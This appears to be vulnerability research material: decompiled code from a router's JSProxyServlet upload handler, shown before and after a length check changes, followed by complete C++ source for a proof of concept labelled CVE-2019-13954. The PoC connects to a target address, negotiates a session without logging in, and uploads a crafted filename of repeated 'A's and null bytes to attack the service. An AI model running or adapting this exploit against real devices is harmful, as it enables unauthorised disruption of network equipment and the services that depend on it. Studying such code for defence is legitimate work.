int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
 while ( 1 )
  {
    sub_51F7(v37, &s1); //读取POST请求
    if ( !s1 )
      break;
    v14 = -1;
    v15 = &s1;
    do
    {
      if ( !v14 )
        break;
      v16 = *v15++ == 0;
      --v14;
    }
    while ( !v16 );
    if ( v14 != 0x100u )    //数据长度限制
    {
      v36 = 0;
      string::string((string *)&v46, &s1);
      v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
      string::freeptr((string *)&v46);
      if ( v17 )
        continue;
    }
    string::string((string *)&v46, "");
    Response::sendError(a4, 400, (const string *)&v46);
    string::freeptr((string *)&v46);
LABEL_60:
    tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
    goto LABEL_61;
  }
  //...
}

int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
    // ...
    while ( 1 )
    {
        sub_77464E9F(v27, (char *)s1);   // 读取POST请求数据
        if ( !LOBYTE(s1[0]) )
            break;
        string::string((string *)&v36, (const char *)s1);
        v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
        string::freeptr((string *)&v36);
        if ( !v11 )
        {
            string::string((string *)&v36, "");
            Response::sendError(a4, 400, (const string *)&v36);
            string::freeptr((string *)&v36);
        LABEL_56:
            tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
            goto LABEL_57;
        }
    }
    // ...
}

char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
  const char *v2; // esi
  char *result; // eax
  unsigned int v4; // ecx

  v2 = a2;
  istream::getline(a1, a2, 0x100u, 10);
  result = 0;
  v4 = strlen(v2) + 1;
  if ( v4 != 1 )
  {
    result = (char *)&v2[v4 - 2];
    if ( *result == 13 )
      *result = 0;
  }
  return result;
}

#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>

#include "jsproxy_session.hpp"
#include "winbox_message.hpp"

namespace
{
    const char s_version[] = "CVE-2019-13954 PoC 1.1.0";

    bool parseCommandLine(int p_argCount, const char* p_argArray[],
                          std::string& p_username, std::string& p_password,
                          std::string& p_ip, std::string& p_port)
    {
        boost::program_options::options_description description("options");
        description.add_options()
        ("help,h", "A list of command line options")
        ("version,v", "Display version information")
        ("username,u", boost::program_options::value<std::string>(), "The user to log in as")
        ("password", boost::program_options::value<std::string>(), "The password to log in with")
        ("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
        ("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");

        boost::program_options::variables_map argv_map;
        try
        {
            boost::program_options::store(
                boost::program_options::parse_command_line(
                    p_argCount, p_argArray, description), argv_map);
        }
        catch (const std::exception& e)
        {
            std::cerr << e.what() << "\n" << std::endl;
            std::cerr << description << std::endl;
            return false;
        }

        boost::program_options::notify(argv_map);
        if (argv_map.empty() || argv_map.count("help"))
        {
            std::cerr << description << std::endl;
            return false;
        }

        if (argv_map.count("version"))
        {
            std::cerr << "Version: " << ::s_version << std::endl;
            return false;
        }

        if (argv_map.count("username") && argv_map.count("ip") &
            argv_map.count("port"))
        {
            p_username.assign(argv_map["username"].as<std::string>());
            p_ip.assign(argv_map["ip"].as<std::string>());
            p_port.assign(argv_map["port"].as<std::string>());

            if (argv_map.count("password"))
            {
                p_password.assign(argv_map["password"].as<std::string>());
            }
            else
            {
                p_password.assign("");
            }
            return true;
        }
        else
        {
            std::cerr << description << std::endl;
        }

        return false;
    }
}

int main(int p_argc, const char** p_argv)
{
    std::string username;
    std::string password;
    std::string ip;
    std::string port;
    if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
    {
        return EXIT_FAILURE;
    }

    JSProxySession jsSession(ip, port);
    if (!jsSession.connect())
    {
        std::cerr << "Failed to connect to the remote host" << std::endl;
        return EXIT_FAILURE;
    }

    // generate the session key but don't log in
    if (!jsSession.negotiateEncryption(username, password, false))
    {
        std::cerr << "Encryption negotiation failed." << std::endl;
        return EXIT_FAILURE;
    }

    std::string filename;
    for (int i = 0; i < 0x50; i++)
    {
      filename.push_back('A');
    }

    for (int i = 0; i < 0x100; i++)
    {
      filename.push_back('\x00');
    }

    if (jsSession.uploadFile(filename, "lol."))
    {
        std::cout << "success!" << std::endl;
    }

    return EXIT_SUCCESS;
}